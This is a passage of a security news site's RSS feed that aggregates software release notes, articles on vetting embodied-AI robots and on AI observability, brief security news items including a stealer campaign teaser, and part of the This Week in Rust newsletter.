<li>Always set BOT_COUNT metric in the run_bot task loop by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dylanjew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dylanjew">@dylanjew</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877271341" data-permission-text="Title is private" data-url="https://github.com/google/clusterfuzz/issues/5360" data-hovercard-type="pull_request" data-hovercard-url="/google/clusterfuzz/pull/5360/hovercard" href="https://github.com/google/clusterfuzz/pull/5360">#5360</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google/clusterfuzz/compare/v2.34.0...v2.35.0"><tt>v2.34.0...v2.35.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.49.2]]></title>
<description><![CDATA[23.49.2 - 2026-07-16
Bug Fixes

reported issues in the scanner (#2264) 2dbd4dc4
Tweak log domain (#2281) 006ce349]]></description>
<link>https://tsecurity.de/de/3673167/downloads/v23492/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673167/downloads/v23492/</guid>
<pubDate>Thu, 16 Jul 2026 13:02:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.49.1...v23.49.2">23.49.2</a> - 2026-07-16</h2>
<h2>Bug Fixes</h2>
<ul>
<li>reported issues in the scanner (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745621487" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2264" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2264/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2264">#2264</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/2dbd4dc4">2dbd4dc4</a></li>
<li>Tweak log domain (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4883109836" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2281" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2281/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2281">#2281</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/006ce349">006ce349</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[When AI gets a body, it inherits an attack surface]]></title>
<description><![CDATA[Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procur...]]></description>
<link>https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673042/it-security-nachrichten/when-ai-gets-a-body-it-inherits-an-attack-surface/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most security leaders I know working on AI robotics are being shown the same kind of video. A humanoid folds a shirt, sorts a bin, walks a warehouse aisle and a vendor uses the clip to move an embodied AI system from pitch to purchase order. Someone then has to sign off. Robot demos create procurement momentum before security teams receive the artifacts needed to evaluate the system as cyber-physical infrastructure.</p>



<p class="wp-block-paragraph">Before the book, I prepared cloud infrastructure operating in China and the United States for cybersecurity compliance audits and for the Multi-Level Protection Scheme, China’s mandatory security-grading regime that determines whether a system is allowed to operate. That work taught me a lesson I carry into every AI conversation now. You cannot secure what you cannot see into, and the buyer rarely sees in. A demo makes it worse. It shows one task, completed once, under conditions the vendor chose. None of what a security team must evaluate is on screen.</p>



<p class="wp-block-paragraph">This used to be a research-lab problem. It is now a procurement line item. The risk changed when embodied AI moved from a research demo to a purchase order.  Vendors are asking security teams to approve embodied AI before the category has audit evidence, logging norms, supplier transparency or a shared-responsibility model.</p>



<p class="wp-block-paragraph">Embodied AI puts a model inside a machine that operates in the physical world: a robot, an arm, a humanoid. Once a model gains motors, sensors and a body, it ceases to be a software endpoint and becomes a cyber-physical system. It inherits hardware, firmware, a supply chain, an installer and a set of remote-access paths. Every one of those is an attack surface that the demo video doesn’t show. An embodied system is sold like software and behaves like a fleet of networked machinery on your floor.</p>



<p class="wp-block-paragraph">Evaluate these systems across five questions: provenance, access, integrity, evidence and accountability. Here is what each means.</p>



<h2 class="wp-block-heading">Evaluation question #1: Provenance</h2>



<p class="wp-block-paragraph">What is inside, and who controls it? A humanoid is an assembly of actuators, lidar units, battery packs, joint modules and controllers, most from a supply chain the buyer never vetted, each running firmware the buyer cannot read. Software teams already fought this fight, which is why the <a href="https://www.csoonline.com/article/573185/what-is-an-sbom-software-bill-of-materials-explained.html">software bill of materials</a> became standard practice. Lack of transparency creates systemic risk. Embodied systems raise the stakes because the firmware now lives in dozens of parts that move. The risk does not depend on whether the robot is Chinese, American, German or Japanese. It depends on how much of the system the buyer can see: the hardware, firmware, remote-access paths and maintenance relationships behind it.  China installs more industrial robots than any other country and sits near the center of the battery supply chain, as well as parts of the lidar and machine-vision supply base, which these systems draw on. Lidar, short for Light Detection and Ranging, uses pulsed laser beams to map an environment in 3D; machine vision handles optical inspection and guidance. Much of that lineage traces to suppliers your team has no relationship with. This is the hardware and firmware version of the third-party risk <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf">NIST’s supply chain guidance</a> was written for, except that the component has motors. Demand a hardware and firmware bill of materials, then use it. Flag unsigned firmware. Map which supplier holds update authority for each part. Require a way to verify integrity, and treat any component you cannot identify as unmanaged.</p>



<h2 class="wp-block-heading">Evaluation question #2: Access</h2>



<p class="wp-block-paragraph">Who can reach the fleet? Someone installs these machines, someone services them and the vendor pushes software updates.  Where teleoperation is part of the support model, treat it as a privileged remote-access path, not a convenience feature.  Each is a standing path into a machine that moves and lifts. Security teams have seen this story before. Operational Technology (OT) security went mainstream once industrial systems joined IT networks, and the recurring failure is unmanaged remote access that nobody inventoried. According to one industry survey, <a href="https://www.csoonline.com/article/3595787/ot-security-becoming-a-mainstream-concern.html">roughly half of attacks on OT assets originate in an IT network breach</a>. <a href="https://www.cisa.gov/news-events/alerts/2021/01/07/supply-chain-compromise">SolarWinds</a> showed why a trusted update channel deserves scrutiny when one delivered a backdoor to thousands of networks. Embodied systems add the harder part. The compromised endpoint can move. A remote operator on that channel can drive a machine and push code to every unit at once. Treat the fleet like high-value OT. Inventory every remote path, segment it from the production network, default to deny, require signed and verified updates, apply privileged-access controls to vendor maintenance, and treat an always-on teleoperation link as a backdoor until it is governed.</p>



<h2 class="wp-block-heading">Evaluation question #3: Integrity</h2>



<p class="wp-block-paragraph">Whether the machine can be made to misperceive or misbehave. Researchers have shown that <a href="https://www.usenix.org/conference/usenixsecurity20/presentation/sun">lidar spoofing</a> can cause an autonomous system to brake for an obstacle that is not there or miss one that is. The same class of sensor and model manipulation, on a humanoid sharing a floor with people, produces motion, not a wrong answer on a screen. This is where safety engineering and security part ways. Functional safety stops hazardous motion when a component fails. It plans for accidents. Security plans for an adversary. A hardwired safety circuit can stay independent of the control plane, and a good one does. What it does not tell you is how an attacker reached that control plane, altered the model’s inputs or seized the fleet-management path. Ask the vendor to threat-model sensor spoofing and model manipulation as a path to physical motion. Then ask how you will even know it happened. A spoofed sensor does not announce itself. It shows up as a machine acting incorrectly with confidence.</p>



<p class="wp-block-paragraph">Picture the failure in plain terms. A warehouse robot takes a routine vendor update that changes how it navigates. The buyer cannot verify the firmware, cannot identify the supplier of the sensor module and has no logs to distinguish a spoofed sensor from a model error. The machine keeps moving, and no one can say why.</p>



<h2 class="wp-block-heading">Evaluation question #4: Evidence</h2>



<p class="wp-block-paragraph">Whether the claims are true. You have not found an independent audit of embodied-AI field performance, so the uptime and reliability numbers come from the vendor. You are buying a claim, not a track record. Require independently verified uptime, intervention rate and incident history from a named deployment you can call. “Cutting-edge” is not a control.</p>



<h2 class="wp-block-heading">Evaluation question #5: Accountability</h2>



<p class="wp-block-paragraph">Who owns the risk when it fails? Cloud taught security teams shared responsibility the hard way, after years of arguing which side of the line a breach fell on. Embodied AI arrives without that model, and the stakes are physical: the machine can injure someone. In my compliance work, the question that decided everything was always who is accountable when this thing breaks. Put it in the contract. Define the responsibility boundary, an incident-disclosure timeline, a right to audit and liability for physical harm. A vendor who will not commit in writing is showing you who bears the risk.</p>



<p class="wp-block-paragraph">These five questions share one root. For a decade, the security question was whether you could trust what a model generates. The embodied question is who can reach the machine and what they can make it do. A demo answers neither.</p>



<p class="wp-block-paragraph">Before any embodied system reaches your floor, make these five demands of the vendor.</p>



<ul class="wp-block-list">
<li><strong>Provenance. </strong>A hardware and firmware bill of materials with named suppliers, integrity verification and a vulnerability-disclosure record. No bill of materials, no deal.</li>



<li><strong>Access. </strong>A full map of who installs, who services and every update and teleoperation path, with segmentation, default-deny and signed updates required.</li>



<li><strong>Integrity. </strong>A threat model for sensor spoofing and model manipulation that treats the failure as physical motion, plus logging that a defender can use.</li>



<li><strong>Evidence. </strong>Independently verified uptime, intervention and incident history from a named deployment you can call.</li>



<li><strong>Accountability. </strong>A contract that defines the responsibility boundary, incident-disclosure timelines, audit rights and liability for physical harm.</li>
</ul>



<p class="wp-block-paragraph">The robot demo is built to make you feel the future has arrived. My job, and now yours, is the unglamorous question behind it. Ask what the machine’s attack surface looks like once it is bolted to your floor, wired to your network and updated by someone you have never met.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting from black-box AI to glass-box AI]]></title>
<description><![CDATA[A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.



For CIOs, that shift changes the cent...]]></description>
<link>https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672874/ai-nachrichten/getting-from-black-box-ai-to-glass-box-ai/</guid>
<pubDate>Thu, 16 Jul 2026 11:04:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A year ago, most enterprise AI systems generated recommendations. Today, AI systems are approving transactions, routing shipments, updating records, interacting with customers, and triggering downstream software actions with little or no human involvement.</p>



<p class="wp-block-paragraph">For CIOs, that shift changes the central governance question. The challenge is no longer simply whether an AI model is accurate. It is whether the organization can explain, audit, and defend the decisions the system makes.</p>



<p class="wp-block-paragraph">When an AI assistant suggests a meeting time or summarizes a document, mistakes are inconvenient. When an autonomous AI system issues a refund, reprices a product, modifies a customer record, or initiates a financial transaction, mistakes carry operational, legal, and reputational consequences.</p>



<p class="wp-block-paragraph">When those consequences arrive, “the model decided” is not an acceptable explanation.</p>



<p class="wp-block-paragraph">This is the accountability gap emerging at the center of enterprise AI adoption. Organizations are deploying increasingly autonomous systems while relying on technology that often provides little visibility into how decisions are made. The result is a growing mismatch between the level of authority organizations grant AI and their ability to understand or justify its actions.</p>



<p class="wp-block-paragraph">Black-box AI may have been acceptable when AI primarily generated predictions. It becomes far more problematic when AI begins taking actions on behalf of the business.</p>



<h2 class="wp-block-heading">The lesson software already learned</h2>



<p class="wp-block-paragraph">Fortunately, the technology industry has faced a similar challenge before.</p>



<p class="wp-block-paragraph">As enterprise software systems became more distributed and complex, troubleshooting failures became increasingly difficult. Engineers could no longer rely on intuition to understand what happened when something broke. The solution was <a href="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html" data-type="link" data-id="https://www.infoworld.com/article/2262666/what-is-observability-software-monitoring-on-steroids.html">observability</a>: the practice of instrumenting systems so their internal state could be understood through logs, metrics, traces, and monitoring.</p>



<p class="wp-block-paragraph">The goal was not to predict every possible failure in advance. It was to create enough visibility that teams could reconstruct what happened after the fact and identify the root cause.</p>



<p class="wp-block-paragraph">Enterprise AI now requires a similar discipline.</p>



<p class="wp-block-paragraph">But AI observability must go beyond traditional software observability. It is not enough to know what action occurred. Organizations also need visibility into why the system believed that action was appropriate.</p>



<p class="wp-block-paragraph">An auditable AI system should be able to answer questions such as:</p>



<ul class="wp-block-list">
<li>What information did the system rely on?</li>



<li>Which tools or data sources did it access?</li>



<li>What alternatives did it consider?</li>



<li>What verification steps were performed?</li>



<li>How confident was it in its conclusion?</li>



<li>What events led to the final action?</li>
</ul>



<p class="wp-block-paragraph">These questions are rapidly becoming essential operational requirements rather than technical nice-to-haves.</p>



<h2 class="wp-block-heading">Why visibility matters more as AI gains autonomy</h2>



<p class="wp-block-paragraph">As AI systems become more autonomous, failures become harder to detect and diagnose.</p>



<p class="wp-block-paragraph">A human reviewing a single AI-generated recommendation can often spot obvious mistakes. A network of AI agents coordinating multiple tasks across business processes presents a different challenge. Decisions can build upon one another. A flawed assumption early in a workflow can propagate through subsequent actions, creating confident but incorrect outcomes.</p>



<p class="wp-block-paragraph">The challenge is rarely identifying that something went wrong. Eventually, an error surfaces through a customer complaint, a failed transaction, an audit finding, or an operational disruption.</p>



<p class="wp-block-paragraph">The challenge is determining why it happened.</p>



<p class="wp-block-paragraph">Which information influenced the decision? Which tools were consulted? Which safeguards worked as intended? Which ones failed?</p>



<p class="wp-block-paragraph">Without visibility into the reasoning process, troubleshooting autonomous AI workflows can become significantly more difficult than debugging traditional software systems.</p>



<p class="wp-block-paragraph">For CIOs responsible for enterprise reliability, compliance, and governance, that lack of visibility creates unacceptable operational risk.</p>



<h2 class="wp-block-heading">Moving toward glass-box AI</h2>



<p class="wp-block-paragraph">The answer is not to slow AI adoption. The answer is to make AI systems observable.</p>



<p class="wp-block-paragraph">Increasingly, organizations are seeking AI systems that behave more like a glass box than a black box. The objective is not to expose every parameter inside a neural network. Rather, it is to provide a clear, auditable record of how decisions were reached and why actions were taken.</p>



<p class="wp-block-paragraph">The most promising approaches share two common characteristics.</p>



<p class="wp-block-paragraph">The first is verification. Instead of treating a single model’s output as ground truth, systems incorporate independent validation steps before actions are executed. Multiple agents, external checks, business rules, or verification workflows help identify errors before they become operational incidents.</p>



<p class="wp-block-paragraph">The second is explainability. Effective systems maintain a decision trail that captures inputs, intermediate reasoning steps, tool usage, verification activities, and outputs in a form that human reviewers can understand.</p>



<p class="wp-block-paragraph">Together, these capabilities create something that has long been expected of human decision-makers but is often missing from AI systems: the ability to show your work.</p>



<h2 class="wp-block-heading">The regulatory and business reality</h2>



<p class="wp-block-paragraph">The push toward AI observability is not being driven solely by technologists.</p>



<p class="wp-block-paragraph">Regulators increasingly expect organizations to demonstrate oversight of automated decision-making systems. Emerging AI governance frameworks place growing emphasis on transparency, traceability, accountability, and human oversight.</p>



<p class="wp-block-paragraph">Customers are moving in the same direction. Whether the decision involves pricing, service, eligibility, or support, people increasingly want the ability to understand and challenge outcomes that affect them.</p>



<p class="wp-block-paragraph">The result is a convergence of operational, regulatory, and market pressures around a single requirement: organizations must be able to explain what their AI systems are doing.</p>



<h2 class="wp-block-heading">Three questions every CIO should ask</h2>



<p class="wp-block-paragraph">Before deploying autonomous AI systems, technology leaders should be able to answer three basic questions:</p>



<ol start="1" class="wp-block-list">
<li>Can we reconstruct the complete decision path that led to an action?</li>



<li>Can we verify critical outputs before actions are executed?</li>



<li>Can a human auditor understand why the decision occurred?</li>
</ol>



<p class="wp-block-paragraph">If the answer to any of those questions is no, the organization may be granting more authority to AI than it can responsibly govern.</p>



<h2 class="wp-block-heading">Accountability will become a competitive advantage</h2>



<p class="wp-block-paragraph">The organizations that succeed with autonomous AI will not necessarily be those that automate the most processes or deploy the largest models. They will be the organizations that combine automation with accountability.</p>



<p class="wp-block-paragraph">Black-box systems made sense when AI primarily generated predictions. As AI increasingly acts on behalf of businesses, customers, and employees, visibility becomes essential.</p>



<p class="wp-block-paragraph">The future of enterprise AI will belong not to systems that merely act, but to systems whose actions can be examined, understood, and trusted.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft hat den nervigen Bug im Windows-Papierkorb repariert]]></title>
<description><![CDATA[Microsoft hat einen nervigen Fehler im Windows-Papierkorb behoben, der Nutzer seit einiger Zeit verwirrte. Das Problem soll mit den in dieser Woche veröffentlichten Windows-Updates aus der Welt geschafft worden sein.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3672809/it-security-nachrichten/microsoft-hat-den-nervigen-bug-im-windows-papierkorb-repariert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672809/it-security-nachrichten/microsoft-hat-den-nervigen-bug-im-windows-papierkorb-repariert/</guid>
<pubDate>Thu, 16 Jul 2026 10:39:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/news,160015.html"><img hspace="5" border="0" align="left" alt="Fehler, Bug, Error, Bugs bugs bugs, Windows 11 Fehler, Windows 11 Bugs Bugs Bugs, Windows 11 Troubleshoot, Windows 11 Bug" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/52402.jpg"></a>
			Microsoft hat einen nervigen Fehler im Windows-Papierkorb behoben, der Nutzer seit einiger Zeit verwirrte. Das Problem soll mit den in dieser Woche veröffentlichten Windows-Updates aus der Welt geschafft worden sein.			(<a href="https://winfuture.de/news,160015.html">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[ClaudeFix Campaign Abuses Shared Claude Chats to Deliver MacSync Stealer]]></title>
<description><![CDATA[A new ClickFix campaign that abuses Anthropic’s Claude platform to distribute MacSync Stealer, a macOS-targeted information stealer capable of harvesting credentials, sensitive files, and cryptocurrency wallet data. The campaign, dubbed “ClaudeFix” internally by Zscaler, marks a notable evolution...]]></description>
<link>https://tsecurity.de/de/3672721/it-security-nachrichten/claudefix-campaign-abuses-shared-claude-chats-to-deliver-macsync-stealer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672721/it-security-nachrichten/claudefix-campaign-abuses-shared-claude-chats-to-deliver-macsync-stealer/</guid>
<pubDate>Thu, 16 Jul 2026 09:53:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new ClickFix campaign that abuses Anthropic’s Claude platform to distribute MacSync Stealer, a macOS-targeted information stealer capable of harvesting credentials, sensitive files, and cryptocurrency wallet data. The campaign, dubbed “ClaudeFix” internally by Zscaler, marks a notable evolution in ClickFix tactics, replacing typical fake CAPTCHA or browser error lures with shared Claude chat links to […]</p>
<p>The post <a href="https://cyberpress.org/claudefix-campaign-claude-macsync-stealer/">ClaudeFix Campaign Abuses Shared Claude Chats to Deliver MacSync Stealer</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 5 VMware Backup Solutions for 2026]]></title>
<description><![CDATA[In this post, I will show you the top 5 VMware backup solutions for 2026. Most modern data centers run on virtualised infrastructure, with VMware still the leading platform for running business-critical workloads. But virtualization without a solid backup strategy is a liability waiting to happen...]]></description>
<link>https://tsecurity.de/de/3672719/it-security-nachrichten/top-5-vmware-backup-solutions-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672719/it-security-nachrichten/top-5-vmware-backup-solutions-for-2026/</guid>
<pubDate>Thu, 16 Jul 2026 09:53:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will show you the top 5 VMware backup solutions for 2026. Most modern data centers run on virtualised infrastructure, with VMware still the leading platform for running business-critical workloads. But virtualization without a solid backup strategy is a liability waiting to happen.  One hardware failure, ransomware attack or human error can […]</p>
<p>The post <a href="https://secureblitz.com/top-vmware-backup-solutions/">Top 5 VMware Backup Solutions for 2026</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.1]]></title>
<description><![CDATA[cmd: put current working dir in the system prompt (#17188)]]></description>
<link>https://tsecurity.de/de/3672419/downloads/v0321/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672419/downloads/v0321/</guid>
<pubDate>Thu, 16 Jul 2026 07:31:46 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>cmd: put current working dir in the system prompt (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887553796" data-permission-text="Title is private" data-url="https://github.com/ollama/ollama/issues/17188" data-hovercard-type="pull_request" data-hovercard-url="/ollama/ollama/pull/17188/hovercard" href="https://github.com/ollama/ollama/pull/17188">#17188</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 660]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672376/tools/this-week-in-rust-this-week-in-rust-660/</guid>
<pubDate>Thu, 16 Jul 2026 07:09:13 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/">Announcing Rust 1.97.0</a></li>
<li><a href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/">crates.io: development update</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://bun.com/blog/bun-in-rust">Rewriting Bun in Rust</a></li>
<li><a href="https://bullmq.io/news/260712/rust-release/">Announcing BullMQ for Rust</a></li>
<li><a href="https://github.com/zs-dima/prost-protovalidate/releases/tag/v0.6.0">prost-protovalidate 0.6 — buf.validate (protovalidate) for prost and buffa: compile-time codegen + runtime CEL, 2872/2872 conformance</a></li>
<li><a href="https://github.com/StaszeKrk/plaza/releases/tag/v1.0.0">plaza 1.0: a ratatui package-manager TUI that searches pacman, the AUR, apt, dnf, and Flatpak at once</a></li>
<li><a href="https://github.com/danube-messaging/danube/releases/tag/v0.15.1">Danube v0.15.1: native Apache Iceberg integration for streaming-to-lakehouse export</a></li>
<li><a href="https://www.willsearch.com.br/sentinel/">Guardian Sentinel. The Terminal User Interface for Guardian Decentralized Database - P2P</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.33.0">kobe 0.33.0: a Rust operator for instant CI Kubernetes clusters</a></li>
<li><a href="https://navigatorbuilds.github.io/elara-mesh/blog/black-box-for-ai-agents.html">Elara Mesh: what the black box for AI agents actually does</a></li>
<li>
<p><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.10.0">kache 0.10.0: instant download dedup, no more polling</a></p>
</li>
<li>
<p><a href="https://richer-richard.github.io/cochlea/">cochlea 0.1.0: a headless, deterministic audio engine for AI agents</a></p>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://opensourcesecurity.io/2026/2026-07-rfmf-lori-niko/">Open Source Security Podcast: Rust Foundation Maintainers Fund with Lori and Niko</a></li>
<li><a href="https://pulsebeam.dev/blog/moving-to-thread-per-core">Moving a Rust WebRTC SFU to thread-per-core</a></li>
<li><a href="https://abundance.build/blog/2026-07-11-faster-rust-tests-in-ci-with-parallel-steps/">Faster Rust tests in CI with parallel steps</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=fugcSHD-9Jw">The Only Diagram You Need to Understand Rust Ownership</a></li>
<li><a href="https://encore.dev/blog/typescript-parser-wasm">We compiled our TypeScript parser to WASM</a></li>
<li><a href="https://kerkour.com/rust-hype">Understanding the Rust hype for the busy developer</a></li>
<li><a href="https://dev.to/akavlabs_69/i-red-teamed-my-own-llm-security-gateway-in-four-passes-heres-every-gap-i-found-5cl9">I red-teamed my own LLM security gateway (Rust) in four passes — every detection gap and how I closed it</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li>[video] <a href="https://www.youtube.com/watch?v=DJhhy6YQe8k">Backend Concepts in Rust: HTTP Servers</a></li>
<li><a href="https://dystroy.org/blog/picamobile/">Fearless Embedded Rust: A FPV Lego car</a></li>
<li><a href="https://www.aravpanwar.com/writing/building-decayfmt-in-rust/">What I learned building a self-corrupting file format in Rust</a></li>
<li><a href="https://corentin-core.github.io/posts/ruxe-async-runtime-agnostic/">Come Async You Are</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#miscellaneous">Miscellaneous</a></h5>
<ul>
<li><a href="https://blog.theembeddedrustacean.com/oxidize-xiao">Oxidize XIAO — An Embedded Rust Community Program</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://crates.io/crates/dashu">dashu</a>, a pure Rust set of libraries of arbitrary precision numbers.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1628">JacobZ</a> for the self-suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><a href="https://github.com/supernovae-st/nika/issues/424">Nika - showcase: CSV → chart PNG → markdown report (nika:chart has no example yet)</a></li>
</ul>


